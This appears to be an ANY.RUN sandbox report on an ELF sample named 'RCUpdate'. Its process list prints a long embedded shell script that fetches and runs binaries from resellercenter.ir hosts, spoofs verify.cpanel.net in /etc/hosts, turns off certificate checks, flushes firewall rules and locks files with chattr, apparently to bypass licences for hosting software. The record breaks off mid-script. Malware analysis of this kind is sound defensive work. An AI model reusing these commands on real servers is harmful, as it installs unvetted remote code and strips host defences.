File name:

RCUpdate

Full analysis: https://app.any.run/tasks/36b6e3b4-da70-40cd-b30c-13d99c7aca48
Verdict: Malicious activity
Analysis date: February 28, 2025, 08:47:12
OS: Ubuntu 22.04.2 LTS
MIME: application/x-executable
File info: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, no section header
MD5:

F170B201F1FF0BD46B6CAE8CD86F0389

SHA1:

68CC6B85F18431831EA016EA25C2C6B3ED8D9E24

SHA256:

A4A4739CDA2CCD51A7BCA64BDDA7482ACD9B3434E653D9285763DBBB9904F057

SSDEEP:

96:fDhtJn0FQwJ4NhuK9TQlFPeJ9Bjf5++BYL4pYr3uJbOY3+WBgqogidEwkILAUwhh:fDowr0lFPqL5FYLJr3Cp0k0AUwpzZ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    No malicious indicators.

  • SUSPICIOUS

    • Modifies file or directory owner

      • sudo (PID: 40665)

    • Potential Corporate Privacy Violation

      • wget (PID: 40682)
      • wget (PID: 40685)

    • Uses wget to download content

      • dash (PID: 40669)

    • Executes the "rm" command to delete files or directories

      • dash (PID: 40669)

  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.o | ELF Executable and Linkable format (generic) (49.8)

EXIF

EXE

CPUArchitecture: 32 bit
CPUByteOrder: Little endian
ObjectFileType: Executable file
CPUType: i386
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
246
Monitored processes
26
Malicious processes
0
Suspicious processes
1

Behavior graph

Click at the process to see the details
start dash no specs sudo no specs chown no specs chmod no specs sudo no specs dash no specs locale-check no specs bash no specs mesg no specs dash no specs tr no specs rm no specs rm no specs rm no specs rm no specs rm no specs cat no specs rm no specs wget systemctl no specs md5sum no specs wget md5sum no specs systemctl no specs systemctl no specs systemctl no specs

Process information

PID
CMD
Path
Indicators
Parent process
40664/bin/sh -c "sudo chown user /tmp/RCUpdate\.elf && chmod +x /tmp/RCUpdate\.elf && DISPLAY=:0 sudo -i /tmp/RCUpdate\.elf "/usr/bin/dash—any-guest-agent
User:
user
Integrity Level:
UNKNOWN
Exit code:
256
40665sudo chown user /tmp/RCUpdate.elf/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
40666chown user /tmp/RCUpdate.elf/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
40667chmod +x /tmp/RCUpdate.elf/usr/bin/chmod—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
40668sudo -i /tmp/RCUpdate.elf/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
256
40669/tmp/RCUpdate.elf -c " RED='\033[0;31m' GREEN='\033[0;32m' NC='\033[0m' rm -rf /usr/bin/tuslic_* rm -rf /etc/cron\.d/tuslic_* rm -rf /usr/bin/syspro rm -rf /etc/cron\.d/License* rm -rf /usr/bin/getlic_* rm -rf /etc/cron\.d/updategb if [ \! -f /usr/lib64/libcrypt\.so\.1 ]; then wget -O /root/\.libcrypt\.so\.1_Downloaded mirror\.resellercenter\.ir/libcrypt\.so\.1 > /dev/null 2>&1 if [[ \$(md5sum \"/root/\.libcrypt\.so\.1_Downloaded\") = 138250fcc612d3308435887aab306c93* ]] then cp /root/\.libcrypt\.so\.1_Downloaded /usr/lib64/libcrypt\.so\.1 fi fi if [ \! -f /usr/lib64/libfreebl3\.so ]; then wget -O /root/\.libfreebl3\.so_Downloaded mirror\.resellercenter\.ir/libfreebl3\.so > /dev/null 2>&1 if [[ \$(md5sum \"/root/\.libfreebl3\.so_Downloaded\") = 815e6cd788a31cba1de6495fc830d19e* ]] then cp /root/\.libfreebl3\.so_Downloaded /usr/lib64/libfreebl3\.so fi fi if [ -f /etc/lsb-release ]; then if [ \"\$1\" = \"\" ]; then echo \"\${RED}No product selected to be installed/updated\. \${NC}\" exit 1 fi if [ -f /etc/redhat-release ]; then upgradeCommand=\"yum \" elif [ -f /etc/lsb-release ]; then upgradeCommand=\"apt-get \" elif [ -f /etc/os-release ]; then upgradeCommand=\"apt-get \" fi x=\"echo \"\$1\" | tr '[:upper:]' '[:lower:]'\" cmd=\$(eval \"\$x\") if [ \"\${cmd}\" = \"cpanel\" ]; then echo \"\${GREEN}Installing cPanel licensing system \.\.\. \${NC}\" if [ \! -d /usr/local/cpanel/whostmgr ] then systemctl stop NetworkManager systemctl disable NetworkManager echo \"190\.2\.135\.87 verify\.cpanel\.net\" >> /etc/hosts echo \"check_certificate = off\" >> ~/\.wgetrc cd /home && curl -o latest -L https://securedownloads\.cpanel\.net/latest && sh latest sed -i '/190\.2\.135\.87 verify\.cpanel\.net/d' /etc/hosts fi wget -O /bin/RcLicenseCP https://sys\.resellercenter\.ir/RcLicenseCP > /dev/null 2>&1 chmod +x /bin/RcLicenseCP sleep 2 if [ \! -f /bin/RcLicenseCP ] then wget -O /usr/bin/RcLicenseCP https://cpanel\.resellercenter\.ir/cpanelv3/RcLicenseCP > /dev/null 2>&1 chmod +x /bin/RcLicenseCP echo \"done\" fi RcLicenseCP echo \"\${GREEN}cPanel licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"cloudlinux\" ]; then echo \"\${GREEN}Installing CloudLinux licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseCLN https://sys\.resellercenter\.ir/RcLicenseCLN > /dev/null 2>&1 chmod +x /bin/RcLicenseCLN RcLicenseCLN echo \"\${GREEN}CloudLinux licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"litespeed\" ]; then echo \"\${GREEN}Installing LiteSpeed licensing system \.\.\. \${NC}\" if [ \"\$upgradeCommand\" = \"yum \" ]; then \$upgradeCommand install iptables-services -y > /dev/null 2>&1 fi if [ \"\$upgradeCommand\" = \"apt-get \" ]; then \$upgradeCommand install iptables -y > /dev/null 2>&1 fi systemctl start iptables > /dev/null 2>&1 systemctl enable iptables > /dev/null 2>&1 wget -O /root/litespeedinstaller https://litespeed\.resellercenter\.ir/litespeedv3/installer > /dev/null 2>&1 chmod +x /root/litespeedinstaller /root/litespeedinstaller > /dev/null 2>&1 iptables -P INPUT ACCEPT > /dev/null 2>&1 iptables -P FORWARD ACCEPT > /dev/null 2>&1 iptables -P OUTPUT ACCEPT > /dev/null 2>&1 iptables -t nat -F > /dev/null 2>&1 iptables -t mangle -F > /dev/null 2>&1 iptables -F > /dev/null 2>&1 iptables -X > /dev/null 2>&1 wget -O /bin/RcLicenseLSWS https://sys\.resellercenter\.ir/RcLicenseLSWS > /dev/null 2>&1 chmod +x /bin/RcLicenseLSWS RcLicenseLSWS echo \"\${GREEN}LiteSpeed licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"jetbackup\" ]; then echo \"\${GREEN}Installing JetBackup licensing system \.\.\. \${NC}\" curl -LSs http://repo\.jetlicense\.com/static/install | bash if [ -d /usr/local/cpanel ] then jetapps --install jetbackup5-cpanel release elif [ -d /usr/local/directadmin ] then jetapps --install jetbackup5-directadmin release elif [ -d /usr/local/psa ] then jetapps --install jetbackup5-plesk release fi wget -O /bin/RcLicenseJetBackup https://sys\.resellercenter\.ir/RcLicenseJetBackup > /dev/null 2>&1 chmod +x /bin/RcLicenseJetBackup RcLicenseJetBackup echo \"\${GREEN}JetBackup licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"imunify360\" ] || [ \"\${cmd}\" = \"Imunify360\" ]; then echo \"\${GREEN}Installing Imunify360 licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseImunify360 https://sys\.resellercenter\.ir/RcLicenseImunify360 > /dev/null 2>&1 chmod +x /bin/RcLicenseImunify360 RcLicenseImunify360 echo \"\${GREEN}Imunify360 licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"softaculous\" ]; then echo \"\${GREEN}Installing Softaculous licensing system \.\.\. \${NC}\" wget -O install\.sh http://files\.softaculous\.com/install\.sh chmod 755 install\.sh \./install\.sh if [ -d /usr/local/cpanel ] then if [ \! -d /usr/local/cpanel/whostmgr/cgi/softaculous ] then echo \"\${RED}Softaculous did not installed\. Have you enabled Ioncube loader ? Please check : https://www\.softaculous\.com/docs/admin/installing-softaculous/ \${NC}\" exit 1; fi fi if [ -d /usr/local/directadmin ] then if [ \! -d /usr/local/directadmin/plugins/softaculous ] then echo \"\${RED}Softaculous did not installed\. Have you enabled Ioncube loader ? Please check : https://www\.softaculous\.com/docs/admin/installing-softaculous/ \${NC}\" exit 1; fi fi if [ -d /usr/local/psa ] then if [ \! -d /usr/local/softaculous ] then echo \"\${RED}Softaculous did not installed\. Have you enabled Ioncube loader ? Please check : https://www\.softaculous\.com/docs/admin/installing-softaculous/ \${NC}\" exit 1; fi fi wget -O /bin/RcLicenseSoftaculous https://sys\.resellercenter\.ir/RcLicenseSoftaculous > /dev/null 2>&1 chmod +x /bin/RcLicenseSoftaculous RcLicenseSoftaculous echo \"\${GREEN}Softaculous licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"sitepad\" ]; then echo \"\${GREEN}Installing Sitepad licensing system \.\.\. \${NC}\" wget -O install\.sh http://files\.sitepad\.com/install\.sh chmod 755 install\.sh \./install\.sh if [ \! -d /usr/local/sitepad ] then echo \"\${RED}SitePad did not installed\. Have you enabled Ioncube loader ? Please check : https://sitepad\.com/docs/admin/installing-sitepad/ \${NC}\" exit 1; fi wget -O /bin/RcLicenseSitepad https://sys\.resellercenter\.ir/RcLicenseSitepad > /dev/null 2>&1 chmod +x /bin/RcLicenseSitepad RcLicenseSitepad echo \"\${GREEN}Sitepad licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"virtualizor\" ]; then echo \"\${GREEN}Installing Virtualizor licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseVirtualizor https://sys\.resellercenter\.ir/RcLicenseVirtualizor > /dev/null 2>&1 chmod +x /bin/RcLicenseVirtualizor RcLicenseVirtualizor echo \"\${GREEN}Virtualizor licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"cpguard\" ]; then echo \"\${GREEN}Installing CPGuard licensing system \.\.\. \${NC}\" if [ -d /usr/local/cpanel ] then whmapi1 set_tweaksetting key=phploader value=ioncube,sourceguardian > /dev/null 2>&1 fi if [ \! -d /etc/cpguard ] then cd /usr/local/src && rm -f cpguard\.sh && curl -o cpguard\.sh -L https://mirror\.resellercenter\.ir/cpguard\.sh && chmod +x cpguard\.sh && \./cpguard\.sh install fi wget -O /bin/RcLicenseCPGuard https://sys\.resellercenter\.ir/RcLicenseCPGuard > /dev/null 2>&1 chmod +x /bin/RcLicenseCPGuard RcLicenseCPGuard echo \"\${GREEN}CPGuard licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"lslb\" ]; then echo \"\${GREEN}Installing LiteSpeed Load Balancer licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseLSLB https://sys\.resellercenter\.ir/RcLicenseLSLB > /dev/null 2>&1 chmod +x /bin/RcLicenseLSLB RcLicenseLSLB echo \"\${GREEN}LiteSpeed Load Balancer licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"whmreseller\" ]; then echo \"\${GREEN}Installing WHMReseller licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseWHMReseller https://sys\.resellercenter\.ir/RcLicenseWHMReseller > /dev/null 2>&1 chmod +x /bin/RcLicenseWHMReseller RcLicenseWHMReseller echo \"\${GREEN}WHMReseller licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"plesk\" ]; then echo \"\${GREEN}Installing Plesk licensing system \.\.\. \${NC}\" wget -O /bin/RcLicensePlesk https://sys\.resellercenter\.ir/RcLicensePlesk > /dev/null 2>&1 chmod +x /bin/RcLicensePlesk timeout 1 RcLicensePlesk &> /usr/local/RCBIN/\.file_status_rc if grep -q \"dumped core\" /usr/local/RCBIN/\.file_status_rc; then wget -O /bin/RcLicensePlesk https://sys\.resellercenter\.ir/RcLicensePlesk2 > /dev/null 2>&1 chmod +x /bin/RcLicensePlesk > /dev/null 2>&1 chattr +ia /bin/RcLicensePlesk > /dev/null 2>&1 chattr2 +ia /bin/RcLicensePlesk > /dev/null 2>&1 comp0 +ia /bin/RcLicensePlesk > /dev/null 2>&1 fi RcLicensePlesk echo \"\${GREEN}Plesk licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"directadmin\" ]; then echo \"\${GREEN}Installing DirectAdmin licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseDA https://sys\.resellercenter\.ir/RcLicenseDA > /dev/null 2>&1 chmod +x /bin/RcLicenseDA RcLicenseDA echo \"\${GREEN}DirectAdmin licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"dareseller\" ]; then echo \"\${GREEN}Installing DAReseller licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseDAReseller https://sys\.resellercenter\.ir/RcLicenseDAReseller > /dev/null 2>&1 chmod +x /bin/RcLicenseDAReseller RcLicenseDAReseller echo \"\${GREEN}DAReseller licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"osm\" ]; then echo \"\${GREEN}Installing OSM licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseOSM https://sys\.resellercenter\.ir/RcLicenseOSM > /dev/null 2>&1 chmod +x /bin/RcLicenseOSM RcLicenseOSM echo \"\${GREEN}OSM licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"cxs\" ]; then echo \"\${GREEN}Installing CXS licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseCXS https://sys\.resellercenter\.ir/RcLicenseCXS > /dev/null 2>&1 chmod +x /bin/RcLicenseCXS RcLicenseCXS echo \"\${GREEN}CXS licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"whmsonic\" ]; then echo \"\${GREEN}Installing WHMSonic licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseWHMSonic https://sys\.resellercenter\.ir/RcLicenseWHMSonic > /dev/null 2>&1 chmod +x /bin/RcLicenseWHMSonic RcLicenseWHMSonic echo \"\${GREEN}WHMSonic licensing system has been installed\. Enjoy \${NC}\" exit 0 fi echo \"\${RED}This product does not exist\! \${NC}\" exit 1 elif [ -f /etc/redhat-release ]; then if [ \"\$1\" == \"\" ]; then echo -e \"\${RED}No product selected to be installed/updated\. \${NC}\" exit 1 fi if [ -f /etc/redhat-release ]; then upgradeCommand=\"yum \" elif [ -f /etc/lsb-release ]; then upgradeCommand=\"apt-get \" elif [ -f /etc/os-release ]; then upgradeCommand=\"apt-get \" fi x=\"echo \"\$1\" | tr '[:upper:]' '[:lower:]'\" cmd=\$(eval \"\$x\") echo \${cmd} if [ \"\${cmd}\" == \"cpanel\" ]; then echo -e \"\${GREEN}Installing cPanel licensing system \.\.\. \${NC}\" if [ \! -d /usr/local/cpanel/whostmgr ] then systemctl stop NetworkManager systemctl disable NetworkManager echo \"190\.2\.135\.87 verify\.cpanel\.net\" >> /etc/hosts echo \"check_certificate = off\" >> ~/\.wgetrc cd /home && curl -o latest -L https://securedownloads\.cpanel\.net/latest && sh latest sed -i '/190\.2\.135\.87 verify\.cpanel\.net/d' /etc/hosts fi wget -O /bin/RcLicenseCP https://sys\.resellercenter\.ir/RcLicenseCP > /dev/null 2>&1 chmod +x /bin/RcLicenseCP sleep 2 if [ \! -f /bin/RcLicenseCP ] then wget -O /usr/bin/RcLicenseCP https://cpanel\.resellercenter\.ir/cpanelv3/RcLicenseCP > /dev/null 2>&1 chmod +x /bin/RcLicenseCP echo \"done\" fi RcLicenseCP echo -e \"\${GREEN}cPanel licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" == \"cloudlinux\" ]; then echo -e \"\${GREEN}Installing CloudLinux licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseCLN https://sys\.resellercenter\.ir/RcLicenseCLN > /dev/null 2>&1 chmod +x /bin/RcLicenseCLN RcLicenseCLN echo -e \"\${GREEN}CloudLinux licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" == \"litespeed\" ]; then echo -e \"\${GREEN}Installing LiteSpeed licensing system \.\.\. \${NC}\" if [ \"\$upgradeCommand\" == \"yum \" ]; then \$upgradeCommand install iptables-services -y > /dev/null 2>&1 fi if [ \"\$upgradeCommand\" == \"apt-get \" ]; then \$upgradeCommand install iptables -y > /dev/null 2>&1 fi systemctl start iptables > /dev/null 2>&1 systemctl enable iptables > /dev/null 2>&1 wget -O /root/litespeedinstaller https://litespeed\.resellercenter\.ir/litespeedv3/installer > /dev/null 2>&1 chmod +x /root/litespeedinstaller /root/litespeedinstaller > /dev/null 2>&1 iptables -P INPUT ACCEPT > /dev/null 2>&1 iptables -P FORWARD ACCEPT > /dev/null 2>&1 iptables -P OUTPUT ACCEPT > /dev/null 2>&1 iptables -t nat -F > /dev/null 2>&1 iptables -t mangle -F > /dev/null 2>&1 iptables -F > /dev/null 2>&1 iptables -X > /dev/null 2>&1 wget -O /bin/RcLicenseLSWS https://sys\.resellercenter\.ir/RcLicenseLSWS > /dev/null 2>&1 chmod +x /bin/RcLicenseLSWS RcLicenseLSWS echo -e \"\${GREEN}LiteSpeed licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" == \"jetbackup\" ]; then echo -e \"\${GREEN}Installing JetBackup licensing system \.\.\. \${NC}\" curl -LSs http://repo\.jetlicense\.com/static/install | bash if [ -d /usr/local/cpanel ] then jetapps --install jetbackup5-cpanel release elif [ -d /usr/local/directadmin ] then jetapps --install jetbackup5-directadmin release elif [ -d /usr/local/psa ] then jetapps --install jetbackup5-plesk release fi wget -O /bin/RcLicenseJetBackup https://sys\.resellercenter\.ir/RcLicenseJetBackup > /dev/null 2>&1 chmod +x /bin/RcLicenseJetBackup RcLicenseJetBackup echo -e \"\${GREEN}JetBackup licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" == \"imunify360\" ] || [ \"\${cmd}\" == \"Imunify360\" ]; then echo -e \"\${GREEN}Installing Imunify360 licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseImunify360 https://sys\.resellercenter\.ir/RcLicenseImunify360 > /dev/null 2>&1 chmod +x /bin/RcLicenseImunify360 RcLicenseImunify360 echo -e \"\${GREEN}Imunify360 licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" == \"softaculous\" ]; then echo -e \"\${GREEN}Installing Softaculous licensing system \.\.\. \${NC}\" wget -O install\.sh http://files\.softaculous\.com/install\.sh chmod 755 install\.sh \./install\.sh if [ -d /usr/local/cpanel ] then if [ \! -d /usr/local/cpanel/whostmgr/cgi/softaculous ] then echo -e \"\${RED}Softaculous did not installed\. Have you enabled Ioncube loader ? Please check : https://www\.softaculous\.com/docs/admin/installing-softaculous/ \${NC}\" exit 1; fi fi if [ -d /usr/local/directadmin ] then if [ \! -d /usr/local/directadmin/plugins/softaculous ] then echo -e \"\${RED}Softaculous did not installed\. Have you enabled Ioncube loader ? Please check : https://www\.softaculous\.com/docs/admin/installing-softaculous/ \${NC}\" exit 1; fi fi if [ -d /usr/local/psa ] then if [ \! -d /usr/local/softaculous ] then echo -e \"\${RED}Softaculous did not installed\. Have you enabled Ioncube loader ? Please check : https://www\.softaculous\.com/docs/admin/installing-softaculous/ \${NC}\" exit 1; fi fi wget -O /bin/RcLicenseSoftaculous https://sys\.resellercenter\.ir/RcLicenseSoftaculous > /dev/null 2>&1 chmod +x /bin/RcLicenseSoftaculous RcLicenseSoftaculous echo -e \"\${GREEN}Softaculous licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" == \"sitepad\" ]; then echo -e \"\${GREEN}Installing Sitepad licensing system \.\.\. \${NC}\" wget -O install\.sh http://files\.sitepad\.com/install\.sh chmod 755 install\.sh \./install\.sh if [ \! -d /usr/local/sitepad ] then echo -e \"\${RED}SitePad did not installed\. Have you enabled Ioncube loader ? Please check : https://sitepad\.com/docs/admin/installing-sitepad/ \${NC}\" exit 1; fi wget -O /bin/RcLicenseSitepad https://sys\.resellercenter\.ir/RcLicenseSitepad > /dev/null 2>&1 chmod +x /bin/RcLicenseSitepad RcLicenseSitepad echo -e \"\${GREEN}Sitepad licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" == \"virtualizor\" ]; then echo -e \"\${GREEN}Installing Virtualizor licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseVirtualizor https://sys\.resellercenter\.ir/RcLicenseVirtualizor > /dev/null 2>&1 chmod +x /bin/RcLicenseVirtualizor RcLicenseVirtualizor echo -e \"\${GREEN}Virtualizor licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"cpguard\" ]; then echo -e \"\${GREEN}Installing CPGuard licensing system \.\.\. \${NC}\" if [ -d /usr/local/cpanel ] then whmapi1 set_tweaksetting key=phploader value=ioncube,sourceguardian > /dev/null 2>&1 fi if [ \! -d /etc/cpguard ] then cd /usr/local/src && rm -f cpguard\.sh && curl -o cpguard\.sh -L https://mirror\.resellercenter\.ir/cpguard\.sh && chmod +x cpguard\.sh && \./cpguard\.sh install fi wget -O /bin/RcLicenseCPGuard https://sys\.resellercenter\.ir/RcLicenseCPGuard > /dev/null 2>&1 chmod +x /bin/RcLicenseCPGuard RcLicenseCPGuard echo -e \"\${GREEN}CPGuard licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"lslb\" ]; then echo -e \"\${GREEN}Installing LiteSpeed Load Balancer licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseLSLB https://sys\.resellercenter\.ir/RcLicenseLSLB > /dev/null 2>&1 chmod +x /bin/RcLicenseLSLB RcLicenseLSLB echo -e \"\${GREEN}LiteSpeed Load Balancer licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" == \"whmreseller\" ]; then echo -e \"\${GREEN}Installing WHMReseller licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseWHMReseller https://sys\.resellercenter\.ir/RcLicenseWHMReseller > /dev/null 2>&1 chmod +x /bin/RcLicenseWHMReseller RcLicenseWHMReseller echo -e \"\${GREEN}WHMReseller licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" == \"plesk\" ]; then echo -e \"\${GREEN}Installing Plesk licensing system \.\.\. \${NC}\" wget -O /bin/RcLicensePlesk https://sys\.resellercenter\.ir/RcLicensePlesk > /dev/null 2>&1 chmod +x /bin/RcLicensePlesk timeout 1 RcLicensePlesk &> /usr/local/RCBIN/\.file_status_rc if grep -q \"dumped core\" /usr/local/RCBIN/\.file_status_rc; then wget -O /bin/RcLicensePlesk https://sys\.resellercenter\.ir/RcLicensePlesk2 > /dev/null 2>&1 chmod +x /bin/RcLicensePlesk > /dev/null 2>&1 chattr +ia /bin/RcLicensePlesk > /dev/null 2>&1 chattr2 +ia /bin/RcLicensePlesk > /dev/null 2>&1 comp0 +ia /bin/RcLicensePlesk > /dev/null 2>&1 fi RcLicensePlesk echo -e \"\${GREEN}Plesk licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" == \"directadmin\" ]; then echo -e \"\${GREEN}Installing DirectAdmin licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseDA https://sys\.resellercenter\.ir/RcLicenseDA > /dev/null 2>&1 chmod +x /bin/RcLicenseDA RcLicenseDA echo -e \"\${GREEN}DirectAdmin licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" == \"dareseller\" ]; then echo -e \"\${GREEN}Installing DAReseller licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseDAReseller https://sys\.resellercenter\.ir/RcLicenseDAReseller > /dev/null 2>&1 chmod +x /bin/RcLicenseDAReseller RcLicenseDAReseller echo -e \"\${GREEN}DAReseller licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" == \"osm\" ]; then echo -e \"\${GREEN}Installing OSM licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseOSM https://sys\.resellercenter\.ir/RcLicenseOSM > /dev/null 2>&1 chmod +x /bin/RcLicenseOSM RcLicenseOSM echo -e \"\${GREEN}OSM licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" == \"cxs\" ]; then echo -e \"\${GREEN}Installing CXS licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseCXS https://sys\.resellercenter\.ir/RcLicenseCXS > /dev/null 2>&1 chmod +x /bin/RcLicenseCXS RcLicenseCXS echo -e \"\${GREEN}CXS licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" == \"whmsonic\" ]; then echo -e \"\${GREEN}Installing WHMSonic licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseWHMSonic https://sys\.resellercenter\.ir/RcLicenseWHMSonic > /dev/null 2>&1 chmod +x /bin/RcLicenseWHMSonic RcLicenseWHMSonic echo -e \"\${GREEN}WHMSonic licensing system has been installed\. Enjoy \${NC}\" exit 0 fi echo -e \"\${RED}This product does not exist\! \${NC}\" exit 1 elif [ -f /etc/os-release ]; then if [ \"\$1\" = \"\" ]; then echo \"\${RED}No product selected to be installed/updated\. \${NC}\" exit 1 fi if [ -f /etc/redhat-release ]; then upgradeCommand=\"yum \" elif [ -f /etc/lsb-release ]; then upgradeCommand=\"apt-get \" elif [ -f /etc/os-release ]; then upgradeCommand=\"apt-get \" fi x=\"echo \"\$1\" | tr '[:upper:]' '[:lower:]'\" cmd=\$(eval \"\$x\") if [ \"\${cmd}\" = \"cpanel\" ]; then echo \"\${GREEN}Installing cPanel licensing system \.\.\. \${NC}\" if [ \! -d /usr/local/cpanel/whostmgr ] then systemctl stop NetworkManager systemctl disable NetworkManager echo \"190\.2\.135\.87 verify\.cpanel\.net\" >> /etc/hosts echo \"check_certificate = off\" >> ~/\.wgetrc cd /home && curl -o latest -L https://securedownloads\.cpanel\.net/latest && sh latest sed -i '/190\.2\.135\.87 verify\.cpanel\.net/d' /etc/hosts fi wget -O /bin/RcLicenseCP https://sys\.resellercenter\.ir/RcLicenseCP > /dev/null 2>&1 chmod +x /bin/RcLicenseCP sleep 2 if [ \! -f /bin/RcLicenseCP ] then wget -O /usr/bin/RcLicenseCP https://cpanel\.resellercenter\.ir/cpanelv3/RcLicenseCP > /dev/null 2>&1 chmod +x /bin/RcLicenseCP echo \"done\" fi RcLicenseCP echo \"\${GREEN}cPanel licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"cloudlinux\" ]; then echo \"\${GREEN}Installing CloudLinux licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseCLN https://sys\.resellercenter\.ir/RcLicenseCLN > /dev/null 2>&1 chmod +x /bin/RcLicenseCLN RcLicenseCLN echo \"\${GREEN}CloudLinux licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"litespeed\" ]; then echo \"\${GREEN}Installing LiteSpeed licensing system \.\.\. \${NC}\" if [ \"\$upgradeCommand\" = \"yum \" ]; then \$upgradeCommand install iptables-services -y > /dev/null 2>&1 fi if [ \"\$upgradeCommand\" = \"apt-get \" ]; then \$upgradeCommand install iptables -y > /dev/null 2>&1 fi systemctl start iptables > /dev/null 2>&1 systemctl enable iptables > /dev/null 2>&1 wget -O /root/litespeedinstaller https://litespeed\.resellercenter\.ir/litespeedv3/installer > /dev/null 2>&1 chmod +x /root/litespeedinstaller /root/litespeedinstaller > /dev/null 2>&1 iptables -P INPUT ACCEPT > /dev/null 2>&1 iptables -P FORWARD ACCEPT > /dev/null 2>&1 iptables -P OUTPUT ACCEPT > /dev/null 2>&1 iptables -t nat -F > /dev/null 2>&1 iptables -t mangle -F > /dev/null 2>&1 iptables -F > /dev/null 2>&1 iptables -X > /dev/null 2>&1 wget -O /bin/RcLicenseLSWS https://sys\.resellercenter\.ir/RcLicenseLSWS > /dev/null 2>&1 chmod +x /bin/RcLicenseLSWS RcLicenseLSWS echo \"\${GREEN}LiteSpeed licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"jetbackup\" ]; then echo \"\${GREEN}Installing JetBackup licensing system \.\.\. \${NC}\" curl -LSs http://repo\.jetlicense\.com/static/install | bash if [ -d /usr/local/cpanel ] then jetapps --install jetbackup5-cpanel release elif [ -d /usr/local/directadmin ] then jetapps --install jetbackup5-directadmin release elif [ -d /usr/local/psa ] then jetapps --install jetbackup5-plesk release fi wget -O /bin/RcLicenseJetBackup https://sys\.resellercenter\.ir/RcLicenseJetBackup > /dev/null 2>&1 chmod +x /bin/RcLicenseJetBackup RcLicenseJetBackup echo \"\${GREEN}JetBackup licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" == \"imunify360\" ] || [ \"\${cmd}\" == \"Imunify360\" ]; then echo \"\${GREEN}Installing Imunify360 licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseImunify360 https://sys\.resellercenter\.ir/RcLicenseImunify360 > /dev/null 2>&1 chmod +x /bin/RcLicenseImunify360 RcLicenseImunify360 echo \"\${GREEN}Imunify360 licensing system has been installed\. Enjoy \${NC}\" 